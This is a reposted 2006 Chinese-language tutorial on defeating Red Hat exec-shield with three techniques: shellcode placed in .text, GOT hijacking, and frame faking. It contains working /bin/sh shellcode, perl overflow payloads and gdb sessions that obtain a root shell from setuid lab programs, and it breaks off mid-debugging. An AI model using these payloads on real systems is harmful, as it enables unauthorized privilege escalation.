歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux綜合 >> Linux資訊 >> Linux文化 >> Bypass Exec-shield Under Redhat

Bypass Exec-shield Under Redhat

日期:2017/2/27 12:12:50   编辑:Linux文化

Bypass Exec-shield Under Redhat (PST) ---------[ Subject : Bypass Exec-shield Under Redhat ] ---------[ Author : axis([email protected]) ] ---------[ Copyright : www.ph4nt0m.org www.secwiki.com ] ---------[ Date : 02/14/2006 ] ---------[ Version : 1.0 ] |=-----------------------------------------------------------------------------=| ---------[ Table of Contents ] 0x110 - execshield介紹 0x120 - 在execshield環境下的分析 0x130 - Attack! 0x131 - demo程序 0x132 - hijack GOT 0x133 - frame faking + return into libc 0x140 - Conclusion 0x150 - Reference |=-----------------------------------------------------------------------------=| ---------[ 0x110 - execshield介紹 ] Redhat在Fedora Core 2以及Enterprise Linux 3 Update 3加入了exec-shield的內核補丁。該補丁的官方地址為http://redhat.com/~mingo/exec-shield/ Execshield的目的是最大程度的防止溢出,所以他將內存中盡可能多的地方標記為不可執行的。同時他還保留了函數的返回地址,這樣如果覆蓋了EIP後,將探測到返回地址改變,將會出錯。具體exec-shield做了什麼,以及是如何實現的,請參考官方文檔 http://people.redhat.com/mingo/e ... 06US_Execshield.pdf http://people.redhat.com/mingo/exec-shield/docs/nonselsec.pdf 由於execshield的汗馬功勞,傳統的buffer overflow已經徹底失效了,因為他把shellcode放在stack中執行,而stack是不可執行的。 return into libc的方法為我們提供了一定思路,但execshield把函數的地址變成了類似 (gdb) p printf $1 = {<text variable, no debug info>} 0x61db70 <printf> 也就是0x0061db70,而像strcpy這類函數,一遇到0字節就判斷為終止,大大增加了難度 同時,因為棧不可執行,所以直接覆蓋EIP為函數地址的方法也失效了。 如果利用frame faking,則可以在函數返回前跳轉到另外一個地方去執行,但由於execshield禁止了內存中大多數地址的執行權限,所以.bss不行,heap也不行,stack當然更不行,那麼如何找到這個合適的地方就成為了難點。同時還不能讓函數返回,因為一返回就會被execshield檢測到返回地址改變,會出錯。 下面我將演示我是如何繞過execshield的。本文采用的平台是Redhat Fedora Core 4以及Redhat Enterprise Linux AS 4 Update 2 [root@Security-37 kernel]# cat /etc/issue.net Red Hat Enterprise Linux AS release 4 (Nahant Update 2) Kernel \r on an \m [root@Security-37 kernel]# uname -a Linux Security-37 2.6.9-22.EL #1 Mon Sep 19 18:20:28 EDT 2005 i686 i686 i386 GNU/Linux [axis@axis explab]$ cat /etc/issue.net Fedora Core release 4 (Stentz) Kernel \r on an \m [axis@axis explab]$ uname -a Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux [axis@axis explab]$ ---------[ 0x120 - 在execshield環境下的分析 ] 首先我們看看execshield的開關 [axis@axis explab]$ cat /proc/sys/kernel/exec-shield 1 [axis@axis explab]$ cat /proc/sys/kernel/randomize_va_space 1 [axis@axis explab]$ VA space randomize是2.6.x內核的一項特性,它會讓虛擬地址隨機變化,從而大大增加溢出的難度。但該項特性不在本文的討論范圍。但由於在高版本內核上它默認是開啟的,所以我們不關閉他,以增加我們挑戰的難度。 下面先來看看execshield做了什麼,以一個簡單的程序舉例 [axis@axis explab]$ cat bof3.c #include<stdio.h> int main(int argc,char *argv[]){ char a[256]; strcpy(a,argv[1]); printf("%s\n",a); return 0; } 我們看看程序運行時的內存中的情況 [axis@axis explab]$ gdb ./bof3 -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483b9 (gdb) r AAAA Starting program: /home/axis/explab/bof3 AAAA Reading symbols from shared object read from target memory...(no debugging symbols found)...done. Loaded system supplied DSO at 0x511000 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483b9 in main () (gdb) shell [axis@axis explab]$ su - Password: [root@axis ~]# ps -ef UID PID PPID C STIME TTY TIME CMD root 1 0 0 Feb08 ? 00:00:01 init [3] root 2 1 0 Feb08 ? 00:00:00 [ksoftirqd/0] root 3 1 0 Feb08 ? 00:00:00 [watchdog/0] root 4 1 0 Feb08 ? 00:00:00 [events/0] ...... ...... axis 20812 20811 0 16:05 pts/0 00:00:00 -bash axis 21858 20812 0 17:36 pts/0 00:00:00 gdb ./bof3 -q axis 21861 21858 0 17:36 pts/0 00:00:00 /home/axis/explab/bof3 AAAA axis 21864 21858 0 17:36 pts/0 00:00:00 bash root 21882 21864 0 17:36 pts/0 00:00:00 su - root 21885 21882 0 17:36 pts/0 00:00:00 -bash root 21911 21885 0 17:36 pts/0 00:00:00 ps -ef [root@axis ~]# cat /proc/21861/maps 00511000-00512000 r-xp 00511000 00:00 0 005b8000-005d2000 r-xp 00000000 03:09 2719787 /lib/ld-2.3.5.so 005d2000-005d3000 r-xp 00019000 03:09 2719787 /lib/ld-2.3.5.so 005d3000-005d4000 rwxp 0001a000 03:09 2719787 /lib/ld-2.3.5.so 005da000-006fe000 r-xp 00000000 03:09 2719788 /lib/libc-2.3.5.so 006fe000-00700000 r-xp 00124000 03:09 2719788 /lib/libc-2.3.5.so 00700000-00702000 rwxp 00126000 03:09 2719788 /lib/libc-2.3.5.so 00702000-00704000 rwxp 00702000 00:00 0 08048000-08049000 r-xp 00000000 03:06 472905 /home/axis/explab/bof3 08049000-0804a000 rw-p 00000000 03:06 472905 /home/axis/explab/bof3 b7fcb000-b7fcc000 rw-p b7fcb000 00:00 0 b7fe8000-b7fe9000 rw-p b7fe8000 00:00 0 bfed3000-bfee9000 rw-p bfed3000 00:00 0 [stack] [root@axis ~]# exit logout [axis@axis explab]$ exit exit (gdb) 我們可以看到,stack,也就是我們的棧是不可執行的。所以我們要讓我們的shellcode在可以執行的,即帶有x標記的內存空間中執行. ---------[ 0x130 - Attack! ] 繞過execshield的攻擊是可能的,根據上面的結論,我們應該在內存低地址中執行我們的shellcode,但這裡 00511000-00512000 r-xp 00511000 00:00 0 005b8000-005d2000 r-xp 00000000 03:09 2719787 /lib/ld-2.3.5.so 005d2000-005d3000 r-xp 00019000 03:09 2719787 /lib/ld-2.3.5.so 005d3000-005d4000 rwxp 0001a000 03:09 2719787 /lib/ld-2.3.5.so 005da000-006fe000 r-xp 00000000 03:09 2719788 /lib/libc-2.3.5.so 006fe000-00700000 r-xp 00124000 03:09 2719788 /lib/libc-2.3.5.so 00700000-00702000 rwxp 00126000 03:09 2719788 /lib/libc-2.3.5.so 00702000-00704000 rwxp 00702000 00:00 0 這些地址都是一些系統的自帶的函數或參數的一些內容,很難控制為我們想要的內容。 那麼我們先來看 08048000-08049000 r-xp 00000000 03:06 472905 /home/axis/explab/bof3 來證實一下我們的想法。 ---------[ 0x131 - demo程序 ] 我們在漏洞程序中定義一段shellcode,這樣他就會寫在.text段 [axis@axis explab]$ cat bof1.c #include<stdio.h> int main(int argc,char *argv[]){ char shellcode[]= "\x6a\x46" // push $0x46 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\x31\xc9" // xor %ecx,%ecx "\xcd\x80" // int $0x80 "\x99" // cltd "\xb0\x0b" // mov $0xb,%al "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xcd\x80"; // int $0x80 char a[256]; strcpy(a,argv[1]); printf("%s\n",a); return 0; } [axis@axis explab]$ 加個s位 [root@axis ~]# chown root.root bof1 [root@axis ~]# chmod 4755 bof1 正常情況下,程序不會執行shellcode,因為他只是一個經過初始化的變量的值. 調試看看 [axis@axis explab]$ gdb ./bof1 -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483b5 (gdb) r Starting program: /home/axis/explab/bof1 (no debugging symbols found) (no debugging symbols found) Breakpoint 1, 0x080483b5 in main () (gdb) x/20x 0x08048400 0x8048400 <main+80>: 0xd8858d0c 0x50fffffe 0xfffebfe8 0x10c483ff 0x8048410 <main+96>: 0x000000b8 0xf8658d00 0xc3c95f5e 0x57e58955 0x8048420 <__libc_csu_init+4>: 0xec835356 0x0000e80c 0x815b0000 0x00119ac3 0x8048430 <__libc_csu_init+20>: 0xfe6ee800 0x838dffff 0xffffff20 0xff20938d 0x8048440 <__libc_csu_init+36>: 0xd029ffff 0x8902f8c1 0x0875f045 0x5b0cc483 (gdb) 0x8048450 <__libc_csu_init+52>: 0xc3c95f5e 0xd689ff31 0x834716ff 0x7d3b04c6 0x8048460 <__libc_csu_init+68>: 0x83f572f0 0x5e5b0cc4 0x90c3c95f 0xc9e58955 0x8048470 <__libc_csu_fini+4>: 0x909090c3 0x53e58955 0x94e4a152 0xf8830804 0x8048480 <__do_global_ctors_aux+12>: 0xbb1274ff 0x080494e4 0x438bd0ff 0x04eb83fc 0x8048490 <__do_global_ctors_aux+28>: 0x75fff883 0xc95b58f3 0x909090c3 0x53e58955 (gdb) 0x80484a0 <_fini+4>: 0x0000e850 0x815b0000 0x00111ec3 0xfea2e800 0x80484b0 <_fini+20>: 0x5b58ffff 0x0000c3c9 0x00000003 0x00020001 0x80484c0 <_IO_stdin_used+4>: 0x3158466a 0xcdc931db 0x0bb09980 0x2f2f6852 0x80484d0 <_IO_stdin_used+20>: 0x2f686873 0x896e6962 0x895352e3 0x0080cde1 0x80484e0 <__FRAME_END__>: 0x00000000 0xffffffff 0x00000000 0xffffffff (gdb) 注意這裡 0x80484c0 <_IO_stdin_used+4>: 0x3158466a 0xcdc931db 0x0bb09980 0x2f2f6852 0x80484d0 <_IO_stdin_used+20>: 0x2f686873 0x896e6962 0x895352e3 0x0080cde1 我們的shellcode就是在這裡了! (gdb) x/8x 0x080484c0 =========>存放shellcode的地址 0x80484c0 <_IO_stdin_used+4>: 0x3158466a 0xcdc931db 0x0bb09980 0x2f2f6852 0x80484d0 <_IO_stdin_used+20>: 0x2f686873 0x896e6962 0x895352e3 0x0080cde1 反匯編下main,看下buffer多大 (gdb) disass main Dump of assembler code for function main: 0x080483b0 <main+0>: push %ebp 0x080483b1 <main+1>: mov %esp,%ebp 0x080483b3 <main+3>: push %edi 0x080483b4 <main+4>: push %esi 0x080483b5 <main+5>: sub $0x120,%esp ==================>這裡 0x080483bb <main+11>: and $0xfffffff0,%esp 0x080483be <main+14>: mov $0x0,%eax 0x080483c3 <main+19>: add $0xf,%eax 0x080483c6 <main+22>: add $0xf,%eax 0x080483c9 <main+25>: shr $0x4,%eax 0x080483cc <main+28>: shl $0x4,%eax 0x080483cf <main+31>: sub %eax,%esp 0x080483d1 <main+33>: lea 0xffffffd8(%ebp),%edi 0x080483d4 <main+36>: mov $0x80484c0,%esi 0x080483d9 <main+41>: cld 0x080483da <main+42>: mov $0x8,%eax 0x080483df <main+47>: mov %eax,%ecx 0x080483e1 <main+49>: repz movsl %ds%esi),%es%edi) 0x080483e3 <main+51>: mov 0xc(%ebp),%eax 0x080483e6 <main+54>: add $0x4,%eax 0x080483e9 <main+57>: mov (%eax),%eax 0x080483eb <main+59>: sub $0x8,%esp 0x080483ee <main+62>: push %eax 0x080483ef <main+63>: lea 0xfffffed8(%ebp),%eax 0x080483f5 <main+69>: push %eax 0x080483f6 <main+70>: call 0x80482fc <__gmon_start__@plt+16> 0x080483fb <main+75>: add $0x10,%esp 0x080483fe <main+78>: sub $0xc,%esp 0x08048401 <main+81>: lea 0xfffffed8(%ebp),%eax 0x08048407 <main+87>: push %eax 0x08048408 <main+88>: call 0x80482cc 0x0804840d <main+93>: add $0x10,%esp 0x08048410 <main+96>: mov $0x0,%eax 0x08048415 <main+101>: lea 0xfffffff8(%ebp),%esp 0x08048418 <main+104>: pop %esi 0x08048419 <main+105>: pop %edi 0x0804841a <main+106>: leave 0x0804841b <main+107>: ret End of assembler dump. (gdb) 注意這裡 0x080483b5 <main+5>: sub $0x120,%esp 十六進制120轉換為十進制就是288,再加12的dummy data 最後通過調試得到我們的需要300個字節來覆蓋ebp,然後再4個字節覆蓋eip [axis@axis explab]$ gdb ./bof1 -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) r "`perl -e 'print "A"x300,"\x44\x84\x04\x01"'`" Starting program: /home/axis/explab/bof1 "`perl -e 'print "A"x300,"\x44\x84\x04\x01"'`" (no debugging symbols found) (no debugging symbols found) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD Program received signal SIGSEGV, Segmentation fault. 0x01048444 in ?? () (gdb) i reg $ebp $esp $eip ebp 0x41414141 0x41414141 esp 0xbfc98ac0 0xbfc98ac0 eip 0x1048444 0x1048444 (gdb) 看,如我上面所說的,正好覆蓋了eip。注意這裡0x01048444是內存低址,在“可執行界限”內,execshield才會接受,如果是一個內存高址,就會自動被execshield還原為原函數的ret地址 我們再看用不符合execshield規則的地址來覆蓋EIP的情況 (gdb) r "`perl -e 'print "A"x304'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/bof1 "`perl -e 'print "A"x304'`" (no debugging symbols found) (no debugging symbols found) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x0804841b in main () (gdb) 這裡 0x0804841b <main+107>: ret 就是main函數的返回地址了! 所以要擊敗execshield,就必須要巧妙的設計一個被execshield所接受的地址才行 我們剛才看到的存放shellcode的地址,0x080484c0就是一個被接受的地址 整理下思路 我們把shellcode寫在這個demo程序裡的.text section 存放shellcode的地址為0x080484c0,這個地址是不變的 我們需要用300個字節來覆蓋ebp,再多4個字節覆蓋eip,覆蓋eip的地址必須是execshield所接受的地址 那麼我們構造的payload就和傳統的payload一樣了 ++++++++++++++++++++++++++++++++++++++ | dummy data | 4 bytes overwrite EIP | ++++++++++++++++++++++++++++++++++++++ 我們看看 [axis@axis explab]$ ./bof1 "`perl -e 'print "A"x300,"\xc0\x84\x04\x08"'`" AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA sh-3.00# id uid=0(root) gid=500(axis) groups=500(axis) context=user_u:system_r:unconfined_t sh-3.00# cat /etc/issue Fedora Core release 4 (Stentz) Kernel \r on an \m sh-3.00# uname -a Linux axis 2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux sh-3.00# 看,shellcode成功執行了,拿到root了! 根據這個demo程序,我們繞過execshield的思路就有了,那就是:到execshield管不到的地方去執行 下面我們看看另外一種方法. ---------[ 0x132 - hijack GOT ] 上面的demo程序只是一個例子,在實際應用中,我們幾乎不可能有機會去控制.text的內容,所以我們必須尋找其他更加通用的方法。 c0ntex在他的paper How to hijack the Global Offset Table with pointers for root shells 提出了一種覆蓋GOT的方法. 這種方法是通過覆蓋GOT來達到return into libc的目的,同時也繞過了execshield。 GOT(全局變量偏移表)的概念我不再贅述,我們直入正題. 這裡我們直接看看c0ntex的例子程序,簡單介紹下這種方法,具體方法請參考c0ntex的文章 [axis@Security-37 hijackGOT]$ cat got.c #include <stdio.h> #include <stdlib.h> int main(int argc, char **argv) { char *pointer = NULL; char array[10]; pointer = array; strcpy(pointer, argv[1]); printf("Array contains %s at %p\n", pointer, &pointer); strcpy(pointer, argv[2]); printf("Array contains %s at %p\n", pointer, &pointer); return EXIT_SUCCESS; } [axis@Security-37 hijackGOT]$ ls got -l -rwsr-xr-x 1 root root 4911 Feb 14 02:06 got ======》加了s位 [axis@Security-37 hijackGOT]$ 這裡兩次調用了strcpy和printf 我們將讓第一個printf正常返回,而在第二個strcpy後,我們將覆蓋GOT中printf的地址為system的地址,從而讓第二個printf變成了 printf("Array contains %s at %p\n", pointer, &pointer); ====》 system("Array contains %s at %p\n", pointer, &pointer); 先看看一般情況的執行情況 [axis@Security-37 hijackGOT]$ gdb ./got -q (no debugging symbols found) Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b strcpy ======》下斷點 Function "strcpy" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (strcpy) pending. (gdb) b printf ======》下斷點 Function "printf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 2 (printf) pending. (gdb) b system ======》下斷點 Function "system" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 3 (system) pending. (gdb) r AAAA BBBB ======》先隨便執行下,讓程序正常返回 The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/hijackGOT/got AAAA BBBB (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6 (gdb) p system ======》 system的入口地址在0x008b05b0 $2 = {<text variable, no debug info>} 0x8b05b0 <system> (gdb) x/8x 0x0804960c ======》 GOT表的內容 0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x080482de 0x008e4930 0x00000000 0x00000000 (gdb) x/i 0x0086eb10 0x86eb10 <_dl_runtime_resolve>: push %eax (gdb) x/i 0x00890d50 0x890d50 <__libc_start_main>: push %ebp (gdb) x/i 0x080482de 0x80482de: push $0x8 (gdb) x/i 0x008e4930 ======》GOT表中的strcpy,這裡是strcpy的入口地址 0x8e4930 <strcpy>: push %ebp (gdb) c Continuing. Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c 0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000 (gdb) x/i 0x008be420 ======》 因為要調用printf了,所以把printf的入口地址寫入GOT 0x8be420 <printf>: push %ebp (gdb) c Continuing. Array contains AAAA at 0xbfe5105c Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c ======》第二次strcpy之前GOT的內容 0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000 (gdb) c Continuing. Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c 第二次printf之前的GOT內容 0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000 (gdb) c Continuing. Array contains BBBB at 0xbfe5105c =======》程序正常返回了 Program exited normally. (gdb) GOT的地址這樣得到 [axis@Security-37 hijackGOT]$ objdump -h ./got |grep .got ./got: file format elf32-i386 19 .got 00000004 08049608 08049608 00000608 2**2 20 .got.plt 00000018 0804960c 0804960c 0000060c 2**2 [axis@Security-37 hijackGOT]$ 所以我們直接去查看0x0804960c 就是我們的GOT的內容了 從上面的調試可以看到,整個程序的流程非常清楚了,接下來我們嘗試覆蓋GOT中的printf的地址 經調試,需要28字節覆蓋EBP,再多4字節覆蓋EIP 因為要覆蓋的是printf的返回地址,那麼在GOT表中對應的就應該是0x0804961c 那麼我們如下構造 (gdb) r "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`" 這裡argv[1]是28個A覆蓋EBP,然後指向GOT中的printf的地址,這時候第一個strcpy和printf都可以正常返回 然後執行第二個strcpy,把argv[2]的內容,也就是system的入口地址(我們前面得到過的)copy到0x0804961c,也就覆蓋了GOT中printf地址,這樣當再執行下去的時候,本來的 printf("Array contains %s at %p\n", pointer, &pointer); 就變成了 system("Array contains %s at %p\n", pointer, &pointer); [axis@Security-37 hijackGOT]$ gdb ./got -q (no debugging symbols found) Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b strcpy Function "strcpy" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (strcpy) pending. (gdb) b printf Function "printf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 2 (printf) pending. (gdb) b system Function "system" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 3 (system) pending. (gdb) r "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`" Starting program: /home/axis/explab/hijackGOT/got "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`" (no debugging symbols found) (no debugging symbols found) Breakpoint 4 at 0x8e4933 Pending breakpoint "strcpy" resolved Breakpoint 5 at 0x8be423 Pending breakpoint "printf" resolved Breakpoint 6 at 0x8b05b0 Pending breakpoint "system" resolved Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c ======》先看看GOT的內容 0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x080482de 0x008e4930 0x00000000 0x00000000 (gdb) c Continuing. Breakpoint 5, 0x008be423 in printf () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c ======》printf地址被調用進來了 0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000 (gdb) c Continuing. Array contains 鋴 at 0xbfff8d9c Breakpoint 4, 0x008e4933 in strcpy () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c ======》第二個strcpy執行前 0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008be420 0x008e4930 0x00000000 0x00000000 (gdb) c Continuing. Breakpoint 6, 0x008b05b0 in system () from /lib/tls/libc.so.6 (gdb) x/8x 0x0804960c ======》strcpy執行後,原來應該是printf地址的地方變成system的地址了,成功了! 0x804960c <_GLOBAL_OFFSET_TABLE_>: 0x08049540 0x008794f8 0x0086eb10 0x00890d50 0x804961c <_GLOBAL_OFFSET_TABLE_+16>: 0x008b05b0 0x008e4930 0x00000000 0x00000000 (gdb) c Continuing. Detaching after fork from child process 10314. sh: Array: command not found ======》system函數正確執行了! Program exited normally. (gdb) 這裡我們看到執行system的結果是command not found 這是因為我們是執行 system("Array contains %s at %p\n", pointer, &pointer); 系統當然沒有Array這個程序,那麼我們寫一個 [axis@Security-37 hijackGOT]$ cat Array.c #include<unistd.h> int main(int argc,char *argv[]){ setreuid(geteuid(),geteuid()); setregid(getegid(),getegid()); execl("/bin/sh","sh",0); return 0; } [axis@Security-37 hijackGOT]$ gcc -o Array Array.c [axis@Security-37 hijackGOT]$ 因為系統默認路徑裡沒有Array,所以我們還要把當前路徑加到系統路徑裡 [axis@Security-37 hijackGOT]$ cat ex_got.sh #!/bin/sh export PATH=:.PATH ./got "`perl -e 'print "A"x28,"\x1c\x96\x04\x08"'`" "`perl -e 'print "\xb0\x05\x8b"'`" #payload is |DUMMY| GOT addr|---|SYSTEM | [axis@Security-37 hijackGOT]$ [axis@Security-37 hijackGOT]$ ./ex_got.sh Array contains 鋴 at 0xbff6f95c sh-3.00$ id uid=500(axis) gid=501(axis) groups=501(axis) sh-3.00$ uname -a Linux Security-37 2.6.9-22.EL #1 Mon Sep 19 18:20:28 EDT 2005 i686 i686 i386 GNU/Linux sh-3.00$ cat /etc/issue.net Red Hat Enterprise Linux AS release 4 (Nahant Update 2) Kernel \r on an \m sh-3.00$ 執行成功了!得到了shell 但卻不是root,而我們的漏洞程序是加了s位的,為什麼呢?這是因為我們執行system函數的時候,它放棄了特權。 ---------[ 0x133 - frame faking + return into libc ] 上面hijack GOT的方法只適用於覆蓋指針的情況,如果沒有定義指針呢? 接下來將演示利用frame faking和return into libc的技術,來獲取控制權的例子 關於frame faking技術的詳細討論請參考我的另外一篇文章《Advanced Exploit Technique之--frame faking技術》 這裡只簡單提一下 我們利用fake frame,構造一個偽造的棧桢,然後利用以下的payload,將程序的流程跳轉到我們指定的棧桢去執行 +++++++++++++++++++++++++++++++++ | dummy | fake ebp addr | leave | +++++++++++++++++++++++++++++++++ 其中,dummy是我們覆蓋buffer用的垃圾數據,fake EBP addr用來覆蓋EBP,同時也是我們偽造的棧桢的EBP地址,leave是leave指令的地址,用來覆蓋EIP,如果EIP本來就要執行leave指令,那麼也可以不覆蓋,那麼就只需要覆蓋到EBP就結束了。 leave返回後,程序將跳轉到fake frame去執行,新的EBP地址為fake EBP addr,新的EIP為 fake EBP addr+4 利用該技術,我們可以在任意可寫的地方構造fake frame,從而控制程序流程. 回到本文主題上來,我的思路是,尋找一個“有用”的函數,然後執行它,當然,這個“有用”的函數也可以由自己來構造,寫在內存中的某處 看看我們的目標 [axis@axis explab]$ cat bof2.c #include<stdio.h> int main(int argc,char *argv[]){ char a[256]; strcpy(a,argv[1]); system("BBBB" printf("%s\n",a); return 0; } [axis@axis explab]$ 我們的程序包含一個“有用”的system函數 [axis@axis explab]$ ls -l bof2 -rwsr-xr-x 1 root root 4906 2 14 16:11 bof2 加了s位 [axis@axis explab]$ ./bof2 AAAA sh: BBBB: command not found AAAA [axis@axis explab]$ 我們將通過溢出來改變system執行的內容 根據我們上面的payload,我們來看看leave指令在哪裡 [axis@axis explab]$ gdb ./bof2 -q (no debugging symbols found) Using host libthread_db library "/lib/libthread_db.so.1". (gdb) disass main Dump of assembler code for function main: 0x080483e4 <main+0>: push %ebp 0x080483e5 <main+1>: mov %esp,%ebp 0x080483e7 <main+3>: sub $0x108,%esp 0x080483ed <main+9>: and $0xfffffff0,%esp 0x080483f0 <main+12>: mov $0x0,%eax 0x080483f5 <main+17>: add $0xf,%eax 0x080483f8 <main+20>: add $0xf,%eax 0x080483fb <main+23>: shr $0x4,%eax 0x080483fe <main+26>: shl $0x4,%eax 0x08048401 <main+29>: sub %eax,%esp 0x08048403 <main+31>: mov 0xc(%ebp),%eax 0x08048406 <main+34>: add $0x4,%eax 0x08048409 <main+37>: mov (%eax),%eax 0x0804840b <main+39>: sub $0x8,%esp 0x0804840e <main+42>: push %eax 0x0804840f <main+43>: lea 0xffffff00(%ebp),%eax 0x08048415 <main+49>: push %eax 0x08048416 <main+50>: call 0x8048330 <__gmon_start__@plt+16> 0x0804841b <main+55>: add $0x10,%esp 0x0804841e <main+58>: sub $0xc,%esp 0x08048421 <main+61>: push $0x80484ec 0x08048426 <main+66>: call 0x80482f0 0x0804842b <main+71>: add $0x10,%esp 0x0804842e <main+74>: sub $0xc,%esp 0x08048431 <main+77>: lea 0xffffff00(%ebp),%eax 0x08048437 <main+83>: push %eax 0x08048438 <main+84>: call 0x8048300 0x0804843d <main+89>: add $0x10,%esp 0x08048440 <main+92>: mov $0x0,%eax 0x08048445 <main+97>: leave ======》這裡 0x08048446 <main+98>: ret 0x08048447 <main+99>: nop End of assembler dump. (gdb) 返匯編main,發現leave在0x08048445 而我們的system函數的入口地址肯定會在GOT中有,那麼我們就直接利用好了! (gdb) b strcpy Function "strcpy" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (strcpy) pending. (gdb) b system Function "system" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 2 (system) pending. (gdb) b printf Function "printf" not defined. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 3 (printf) pending. (gdb) r AAAA The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/axis/explab/bof2 AAAA (no debugging symbols found) (no debugging symbols found) Breakpoint 4, 0x00643fc4 in strcpy () from /lib/libc.so.6 (gdb) p system ======》system的入口地址 $1 = {<text variable, no debug info>} 0x60f3df <system> (gdb) x/8x 0x080495d8 ======》看看GOT中的內容 0x80495d8 <_GLOBAL_OFFSET_TABLE_>: 0x0804950c 0x005d36d0 0x005cad20 0x080482f6 0x80495e8 <_GLOBAL_OFFSET_TABLE_+16>: 0x08048306 0x005eed20 0x08048326 0x00643fc0 (gdb) x/i 0x005eed20 